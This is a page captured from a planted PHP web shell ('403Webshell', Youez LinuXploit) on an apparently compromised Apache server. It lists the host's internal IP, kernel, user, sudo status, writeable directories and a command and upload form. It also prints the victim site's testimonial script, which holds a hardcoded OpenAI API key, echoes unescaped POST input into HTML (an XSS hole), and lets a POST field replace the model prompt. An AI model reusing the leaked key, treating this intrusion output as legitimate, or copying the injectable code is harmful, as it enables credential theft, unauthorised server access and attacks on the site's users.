403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/newusafunding.com/vx/usa/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/newusafunding.com/vx/usa/functions/submit_testimonial_step_one_ai.php
<?
include_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/xinc.php");
$db->query("INSERT INTO lc2admin.usa_testimonials
			(
				site_code
				,client_id
				,stars
				,what_did_you_like
				,how_can_we_improve
				,experience_registering_navigating
				,think_of_database
				,would_refer_to_friends
				,ts
			) VALUES (
				'".$db->clean($siteCode)."'
				,'".$db->clean($user)."'
				,'".$db->clean($_POST['stars'])."'
				,'".$db->clean($_POST['what_do_you_like'])."'
				,'".$db->clean($_POST['how_can_we_improve'])."'
				,'".$db->clean($_POST['experience_registering_navigating'])."'
				,'".$db->clean($_POST['think_of_database'])."'
				,'".$db->clean($_POST['would_refer_to_friends'])."'
				,NOW()
			)");
$testimonial_id = $db->last_insert_id();

$bad_words = array(
	'cancel'
	,'dumb'
	,'misleading'
	,'misled'
	,'refund'
	,'scam'
	,'billing'
	,'unsubscribe'
	,"can't log in"
	,'no response'
	,'support'
	,'money back'
	,'disappointed');
$skip_ai = false;
foreach($bad_words as $b) {
	if(stripos($_POST['what_do_you_like'],$b)!==false) {
		$skip_ai = true;
		break;
	}
}

if($skip_ai) {
	?>
	<div style="display:none;">
		<textarea id="testimonial_current_version" style="width:100%;height:100px;"><?= $_POST['how_can_we_improve'];?></textarea>
	</div>
	<div>Looks like you need help with your account. We’ve received your feedback and created a support request.</div>
	<script type="text/javascript">
		function submit_testimonial_edits(tid,text_id) {
			var str = 'tid=' + encodeURIComponent(tid) + '&testimonial=' + encodeURIComponent($(text_id).val());
			$('#actual_feedback_form').html('<center><img src="/vx/usa/members/loading_icon.gif" /><br />Saving</center>');
			$.ajax({
				cache: false,
				type: "POST",
				url: "/vx/usa/functions/submit_testimonial_step_one_new.php",
				data: str,
				success: function(result) {
					$('#actual_feedback_form').html(result);
				}
			});
		}
		submit_testimonial_edits('<?= $testimonial_id;?>','#testimonial_current_version');
	</script>
	<?php
} else {

$url = 'https://api.openai.com/v1/chat/completions';
$api_key = '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';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
	  "Accept: application/json",
	  "Authorization: Bearer {$api_key}",
	  "Content-Type: application/json"
));
$fields = array();
//$fields['model'] = 'gpt-4';
$fields['model'] = 'gpt-3.5-turbo';
$messages = array();
$message = array();
$message['role'] = 'system';
$message['content'] = 'You are a grant writing coach. You excel at expanding on ideas, fixing grammar and spelling errors, and making text sound more professional.';
$messages[] = $message;
$message = array();
$message['role'] = 'user';
$message['content'] = "Please make this testimonial sound more professional. Improve spelling, grammar, punctuation, and clarity only. Preserve the customer’s original meaning, rating, sentiment, complaints, and specific facts. Do not add claims, promises, outcomes, praise, or details the customer did not write. If the review is nonsense, filler text, or a test message, do not embellish it. Testimonial:\n{$_POST['how_can_we_improve']}";
if(!empty($_POST['prompt'])) {
	$message['content'] = $_POST['prompt']."\n{$_POST['how_can_we_improve']}";
}
$messages[] = $message;
$fields['messages'] = $messages;
$body = json_encode($fields);
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
$result = curl_exec($ch);
curl_close($ch);
$json_result = json_decode($result);
$ai_version = '';
//echo '<pre>'.print_r($json_result,true).'</pre>';
if(!empty($json_result->choices)) {
	if(!empty($json_result->choices[0]->message->content)) {
		$ai_version = $json_result->choices[0]->message->content;
	}
}
?>
<p>Before you submit it, would you like to enhance your review with the help of AI?</p>
<div style="margin-top:10px;"><strong>CURRENT VERSION</strong></div>
<div><textarea id="testimonial_current_version" style="width:100%;height:100px;"><?= $_POST['how_can_we_improve'];?></textarea></div>
<div style="margin-top:10px;"><strong>**UPDATED AI VERSION**</strong></div>
<div><textarea id="testimonial_ai_version" style="width:100%;height:100px;"><?= $ai_version;?></textarea></div>
<center>
	<div style="margin:10px 0px;"><button onclick="submit_testimonial_edits('<?= $testimonial_id;?>','#testimonial_ai_version'); return false;" style="font-size:18px;font-weight:bold;">UPDATE &amp; SUBMIT</button></div>
	<div style="margin:10px 0px;"><button onclick="submit_testimonial_edits('<?= $testimonial_id;?>','#testimonial_current_version'); return false;" style="color:blue;border:none;background:transparent;">No thanks</button></div>
</center>
<script type="text/javascript">
	function submit_testimonial_edits(tid,text_id) {
		var str = 'tid=' + encodeURIComponent(tid) + '&testimonial=' + encodeURIComponent($(text_id).val());
		$('#actual_feedback_form').html('<center><img src="/vx/usa/members/loading_icon.gif" /><br />Saving</center>');
		$.ajax({
			cache: false,
			type: "POST",
			url: "/vx/usa/functions/submit_testimonial_step_one_new.php",
			data: str,
			success: function(result) {
				$('#actual_feedback_form').html(result);
			}
		});
	}
</script>
<?php } ?>

Youez - 2016 - github.com/yon3zu
LinuXploit